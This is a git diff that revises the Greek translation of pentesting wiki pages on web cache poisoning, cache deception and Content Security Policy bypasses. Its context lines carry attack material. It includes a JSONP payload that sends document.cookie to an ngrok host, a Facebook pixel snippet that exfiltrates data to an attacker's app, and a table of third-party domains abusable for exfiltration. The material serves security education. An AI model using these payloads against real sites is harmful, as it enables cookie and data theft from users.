|
||||
|
||||
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το scheme του αιτήματος. Όταν η κεφαλίδα `x-forwarded-scheme: http` αποστέλλεται, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
|
||||
Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν η κεφαλίδα `x-forwarded-scheme: http` αποστέλλεται, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια.
|
||||
|
||||
### 403 and Storage Buckets
|
||||
|
||||
@ -176,7 +176,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
### Injecting Keyed Parameters
|
||||
|
||||
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ., `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
|
||||
Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήματα. Ωστόσο, αν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error.
|
||||
|
||||
### User Agent Rules
|
||||
|
||||
@ -194,7 +194,7 @@ Example usage: `wcvs -u example.com`
|
||||
|
||||
Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**.
|
||||
|
||||
Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο του χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
|
||||
Πρώτα απ' όλα, σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες.
|
||||
|
||||
Άλλα πράγματα για δοκιμή:
|
||||
|
||||
@ -209,7 +209,7 @@ Example usage: `wcvs -u example.com`
|
||||
Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως _http://www.example.com/home.php/non-existent.css_, το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.\
|
||||
Στη συνέχεια, ο **επιτιθέμενος** μπορεί να αποκτήσει πρόσβαση στο _http://www.example.com/home.php/non-existent.css_ στον δικό του περιηγητή και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση πριν.
|
||||
|
||||
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει έναν content-type `text/html` αντί για έναν mime type `text/css` (ο οποίος είναι ο αναμενόμενος για ένα _.css_ αρχείο).
|
||||
Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο).
|
||||
|
||||
Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception).
|
||||
|
||||
|
@ -15,7 +15,7 @@ X-Oversize-Hedear:Big-Value-000000000000000
|
||||
```
|
||||
- **HTTP Meta Character (HMC) & Unexpected values**
|
||||
|
||||
Στείλτε μια κεφαλίδα που περιέχει μερικούς **βλαβερούς μετα-χαρακτήρες** όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη.
|
||||
Στείλτε μια κεφαλίδα που περιέχει μερικούς **βλαβερούς μεταχαρακτήρες** όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη.
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: redacted.com
|
||||
@ -63,7 +63,7 @@ Cache: miss
|
||||
```
|
||||
- **Long Redirect DoS**
|
||||
|
||||
Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην cache, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος:
|
||||
Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην κρυφή μνήμη, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος:
|
||||
```
|
||||
GET /login?x=veryLongUrl HTTP/1.1
|
||||
Host: www.cloudflare.com
|
||||
|
@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτό είναι μια περίληψη των τεχνικών που προτάθηκαν στην ανάρτηση [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) προκειμένου να εκτελούνται επιθέσεις cache poisoning **καταχρώντας τις διαφορές μεταξύ cache proxies και web servers.**
|
||||
Αυτό είναι ένα σύνοψη των τεχνικών που προτείνονται στην ανάρτηση [https://portswigger.net/research/gotta-cache-em-all](https://portswigger.net/research/gotta-cache-em-all) προκειμένου να εκτελούνται επιθέσεις cache poisoning **καταχρώντας τις διαφορές μεταξύ cache proxies και web servers.**
|
||||
|
||||
> [!NOTE]
|
||||
> Ο στόχος αυτής της επίθεσης είναι να **κάνει τον cache server να πιστεύει ότι φορτώνεται ένας στατικός πόρος** έτσι ώστε να τον αποθηκεύει στην cache ενώ ο cache server αποθηκεύει ως κλειδί cache μέρος της διαδρομής αλλά ο web server απαντά επιλύοντας μια άλλη διαδρομή. Ο web server θα επιλύσει τη πραγματική διαδρομή που θα φορτώνει μια δυναμική σελίδα (η οποία μπορεί να αποθηκεύει ευαίσθητες πληροφορίες σχετικά με τον χρήστη, ένα κακόβουλο payload όπως XSS ή να ανακατευθύνει για να φορτώσει ένα αρχείο JS από την ιστοσελίδα του επιτιθέμενου για παράδειγμα).
|
||||
> Ο στόχος αυτής της επίθεσης είναι να **κάνει τον cache server να πιστεύει ότι φορτώνεται ένας στατικός πόρος** έτσι ώστε να τον αποθηκεύει στην cache ενώ ο cache server αποθηκεύει ως κλειδί cache μέρος της διαδρομής αλλά ο web server απαντά επιλύοντας μια άλλη διαδρομή. Ο web server θα επιλύσει τη πραγματική διαδρομή που θα φορτώνει μια δυναμική σελίδα (η οποία μπορεί να αποθηκεύει ευαίσθητες πληροφορίες για τον χρήστη, ένα κακόβουλο payload όπως XSS ή να ανακατευθύνει για να φορτώσει ένα αρχείο JS από την ιστοσελίδα του επιτιθέμενου για παράδειγμα).
|
||||
|
||||
## Delimiters
|
||||
|
||||
**URL delimiters** ποικίλλουν ανάλογα με το framework και τον server, επηρεάζοντας τον τρόπο που δρομολογούνται τα αιτήματα και χειρίζονται οι απαντήσεις. Ορισμένοι κοινοί διαχωριστές προέλευσης είναι:
|
||||
**URL delimiters** διαφέρουν ανάλογα με το framework και τον server, επηρεάζοντας τον τρόπο που δρομολογούνται τα αιτήματα και χειρίζονται οι απαντήσεις. Ορισμένοι κοινοί διαχωριστές προέλευσης είναι:
|
||||
|
||||
- **Semicolon**: Χρησιμοποιείται στο Spring για matrix variables (π.χ. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
- **Dot**: Προσδιορίζει τη μορφή απάντησης στο Ruby on Rails (π.χ. `/MyAccount.css` → `/MyAccount`)
|
||||
- **Ερωτηματικό**: Χρησιμοποιείται στο Spring για μεταβλητές matrix (π.χ. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
|
||||
- **Τελεία**: Προσδιορίζει τη μορφή απάντησης στο Ruby on Rails (π.χ. `/MyAccount.css` → `/MyAccount`)
|
||||
- **Null Byte**: Συντομεύει διαδρομές στο OpenLiteSpeed (π.χ. `/MyAccount%00aaa` → `/MyAccount`).
|
||||
- **Newline Byte**: Διαχωρίζει τα στοιχεία URL στο Nginx (π.χ. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
## Normalization & Encodings
|
||||
|
||||
- **Σκοπός**: Οι αναλυτές URL και στους δύο cache και origin servers κανονικοποιούν τα URLs για να εξάγουν διαδρομές για την αντιστοίχιση σημείων και τα κλειδιά cache.
|
||||
- **Διαδικασία**: Εντοπίζει τους διαχωριστές διαδρομής, εξάγει και κανονικοποιεί τη διαδρομή αποκωδικοποιώντας χαρακτήρες και αφαιρώντας dot-segments.
|
||||
- **Διαδικασία**: Εντοπίζει τους διαχωριστές διαδρομής, εξάγει και κανονικοποιεί τη διαδρομή αποκωδικοποιώντας χαρακτήρες και αφαιρώντας τμήματα τελείας.
|
||||
|
||||
### **Encodings**
|
||||
|
||||
|
@ -20,8 +20,8 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
||||
|
||||
CSP μπορεί να επιβληθεί ή να παρακολουθείται χρησιμοποιώντας αυτές τις κεφαλίδες:
|
||||
|
||||
- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβάσεις.
|
||||
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής.
|
||||
- `Content-Security-Policy`: Επιβάλλει το CSP; ο περιηγητής μπλοκάρει οποιεσδήποτε παραβιάσεις.
|
||||
- `Content-Security-Policy-Report-Only`: Χρησιμοποιείται για παρακολούθηση; αναφέρει παραβιάσεις χωρίς να τις μπλοκάρει. Ιδανικό για δοκιμές σε περιβάλλοντα προ-παραγωγής.
|
||||
|
||||
### Defining Resources
|
||||
|
||||
@ -62,9 +62,9 @@ object-src 'none';
|
||||
|
||||
### Πηγές
|
||||
|
||||
- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` σχήματα.
|
||||
- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τομέα.
|
||||
- `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του σχήματος δεδομένων (π.χ., εικόνες κωδικοποιημένες σε Base64).
|
||||
- `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` schemes.
|
||||
- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τοποθεσία.
|
||||
- `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του data scheme (π.χ., εικόνες κωδικοποιημένες σε Base64).
|
||||
- `'none'`: Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
|
||||
- `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
|
||||
- `'unsafe-hashes'`: Ενεργοποιεί συγκεκριμένους inline event handlers.
|
||||
@ -89,8 +89,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
||||
</details>
|
||||
|
||||
- `'sha256-<hash>'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
|
||||
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα μέσω nonce ή hash.
|
||||
- `'host'`: Καθορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
|
||||
- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα με nonce ή hash.
|
||||
- `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
|
||||
- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
|
||||
- `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
|
||||
- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
|
||||
@ -161,13 +161,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
|
||||
|
||||
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι μια εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
|
||||
Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον MIME τύπο του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **MIME τύπο όπως audio/\***.
|
||||
|
||||
Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανέβασμα αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
|
||||
Από εδώ, αν βρείτε ένα XSS και μια δυνατότητα ανεβάσματος αρχείου, και καταφέρετε να βρείτε μια **παρερμηνευμένη επέκταση**, θα μπορούσατε να προσπαθήσετε να ανεβάσετε ένα αρχείο με αυτή την επέκταση και το περιεχόμενο του script. Ή, αν ο διακομιστής ελέγχει τη σωστή μορφή του ανεβασμένου αρχείου, δημιουργήστε ένα polyglot ([μερικά παραδείγματα polyglot εδώ](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε ακόμα να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας.
|
||||
Αν δεν είναι δυνατή η έγχυση JS, θα μπορούσατε να προσπαθήσετε να εξάγετε για παράδειγμα διαπιστευτήρια **εγχύοντας μια ενέργεια φόρμας** (και ίσως περιμένοντας τους διαχειριστές κωδικών πρόσβασης να συμπληρώσουν αυτόματα τους κωδικούς). Μπορείτε να βρείτε ένα [**παράδειγμα σε αυτή την αναφορά**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Επίσης, σημειώστε ότι το `default-src` δεν καλύπτει τις ενέργειες φόρμας.
|
||||
|
||||
### Third Party Endpoints + ('unsafe-eval')
|
||||
|
||||
@ -243,7 +243,7 @@ ng-init="c.init()"
|
||||
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
```
|
||||
Περισσότερα [**payloads από αυτή την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
Περισσότερα [**payloads από αυτήν την αναφορά**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
|
||||
```html
|
||||
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
|
||||
|
||||
@ -274,7 +274,7 @@ https://www.google.com/amp/s/example.com/
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Σενάρια όπως αυτό όπου το `script-src` έχει οριστεί σε `self` και ένα συγκεκριμένο domain που είναι στη λίστα επιτρεπόμενων μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Τα endpoints JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:
|
||||
Σενάρια όπως αυτό όπου το `script-src` είναι ρυθμισμένο σε `self` και μια συγκεκριμένη τοποθεσία που έχει εγκριθεί μπορεί να παρακαμφθεί χρησιμοποιώντας JSONP. Οι τελικές διευθύνσεις JSONP επιτρέπουν ανασφαλείς μεθόδους callback που επιτρέπουν σε έναν επιτιθέμενο να εκτελέσει XSS, λειτουργικό payload:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -293,15 +293,15 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
Όπως περιγράφεται στην [παρακάτω ανάρτηση](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), υπάρχουν πολλές τρίτες τομείς, που μπορεί να επιτρέπονται κάπου στο CSP, μπορούν να καταχρηστούν για να εξάγουν δεδομένα ή να εκτελέσουν κώδικα JavaScript. Μερικοί από αυτούς τους τρίτους είναι:
|
||||
|
||||
| Οντότητα | Επιτρεπόμενος Τομέας | Δυνατότητες |
|
||||
| ----------------- | ---------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| ----------------- | --------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Αν βρείτε οποιονδήποτε από τους επιτρεπόμενους τομείς στο CSP του στόχου σας, οι πιθανότητες είναι ότι μπορεί να είστε σε θέση να παρακάμψετε το CSP εγγραφόμενοι στην υπηρεσία τρίτου μέρους και, είτε να εξάγετε δεδομένα σε αυτή την υπηρεσία είτε να εκτελέσετε κώδικα.
|
||||
|
||||
@ -313,16 +313,16 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως πάντα γινόταν με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
|
||||
Πρέπει να είστε σε θέση να εξάγετε δεδομένα, όπως γινόταν πάντα με [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Σε αυτή την περίπτωση, ακολουθείτε τα παρακάτω γενικά βήματα:
|
||||
|
||||
1. Δημιουργήστε έναν λογαριασμό Facebook Developer εδώ.
|
||||
2. Δημιουργήστε μια νέα εφαρμογή "Facebook Login" και επιλέξτε "Website".
|
||||
3. Μεταβείτε στο "Settings -> Basic" και αποκτήστε το "App ID" σας.
|
||||
4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας τη συσκευή SDK του Facebook "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
|
||||
4. Στον στόχο ιστότοπο από τον οποίο θέλετε να εξάγετε δεδομένα, μπορείτε να εξάγετε δεδομένα χρησιμοποιώντας απευθείας την συσκευή Facebook SDK "fbq" μέσω ενός "customEvent" και του payload δεδομένων.
|
||||
5. Μεταβείτε στο "Event Manager" της εφαρμογής σας και επιλέξτε την εφαρμογή που δημιουργήσατε (σημειώστε ότι ο διαχειριστής εκδηλώσεων μπορεί να βρεθεί σε μια διεύθυνση URL παρόμοια με αυτή: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "δικό σας" ιστότοπο.
|
||||
6. Επιλέξτε την καρτέλα "Test Events" για να δείτε τις εκδηλώσεις που αποστέλλονται από τον "ιστότοπό σας".
|
||||
|
||||
Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το pixel παρακολούθησης του Facebook ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
|
||||
Στη συνέχεια, από την πλευρά του θύματος, εκτελείτε τον παρακάτω κώδικα για να αρχικοποιήσετε το Facebook tracking pixel ώστε να δείχνει στο app-id του λογαριασμού προγραμματιστή του επιτιθέμενου και να εκδώσετε μια προσαρμοσμένη εκδήλωση όπως αυτή:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
@ -368,7 +368,7 @@ Online Παράδειγμα:[ ](https://jsbin.com/werevijewa/edit?html,output)[h
|
||||
```
|
||||
### AngularJS events
|
||||
|
||||
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, που αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί το CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, που περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
|
||||
Μια συγκεκριμένη πολιτική γνωστή ως Content Security Policy (CSP) μπορεί να περιορίσει τα JavaScript events. Παρ' όλα αυτά, το AngularJS εισάγει προσαρμοσμένα events ως εναλλακτική λύση. Μέσα σε ένα event, το AngularJS παρέχει ένα μοναδικό αντικείμενο `$event`, το οποίο αναφέρεται στο εγγενές αντικείμενο event του προγράμματος περιήγησης. Αυτό το αντικείμενο `$event` μπορεί να εκμεταλλευτεί για να παρακαμφθεί η CSP. Σημαντικά, στο Chrome, το αντικείμενο `$event/event` διαθέτει ένα χαρακτηριστικό `path`, το οποίο περιέχει έναν πίνακα αντικειμένων που εμπλέκονται στην αλυσίδα εκτέλεσης του event, με το αντικείμενο `window` να βρίσκεται πάντα στο τέλος. Αυτή η δομή είναι καθοριστική για τις τακτικές διαφυγής από το sandbox.
|
||||
|
||||
Κατευθύνοντας αυτόν τον πίνακα προς το φίλτρο `orderBy`, είναι δυνατόν να επαναληφθεί, εκμεταλλευόμενοι το τερματικό στοιχείο (το αντικείμενο `window`) για να ενεργοποιηθεί μια παγκόσμια συνάρτηση όπως το `alert()`. Το παρακάτω απόσπασμα κώδικα διευκρινίζει αυτή τη διαδικασία:
|
||||
```xml
|
||||
@ -421,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Αν το CSP είναι ρυθμισμένο σε `https://www.google.com/a/b/c/d`, καθώς η διαδρομή λαμβάνεται υπόψη, τόσο τα scripts `/test` όσο και `/a/test` θα αποκλειστούν από το CSP.
|
||||
|
||||
